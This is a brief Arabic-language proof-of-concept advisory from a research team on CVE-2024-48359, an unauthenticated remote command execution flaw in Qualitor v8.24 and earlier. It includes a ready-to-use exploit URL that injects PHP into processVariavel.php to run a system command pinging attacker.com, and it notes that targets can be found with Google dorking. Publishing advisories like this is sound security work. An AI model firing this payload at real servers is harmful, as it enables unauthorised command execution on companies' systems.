CVE-2024-48359 - Qualitor <= v8.24 ثغرة تنفيذ الأوامر عن بُعد غير المصادق عليها (RCE) PoC

CVE-2024-48359 | Qualitor <= v8.24 RCE

الوصف

Qualitor هي منصة لإدارة عمليات الأعمال، ويتواجد هذا النظام في العديد من الشركات في البرازيل ويمكن تحديده ببساطة من خلال استخدام Google dorking.

حدد فريقنا ثغرة أمنية في التطبيق قابلة للاستغلال لتنفيذ الأوامر عن بُعد (RCE)، والتي تسمح بتنفيذ أوامر النظام عن بُعد.

يُعد هذا تجاوزًا لإصلاح CVE-2023-47253.

إثبات المفهوم (POC)

فقط أرسل كود PHP في الصفحة processVariavel.php، مثال: /html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=nl2br(stream_get_contents(popen('ping attacker.com', 'r')));

الباحثون

https://www.linkedin.com/in/xvinicius/

https://www.linkedin.com/in/hairrison-wenning-4631a4124/

• فريق OpenXP Research Team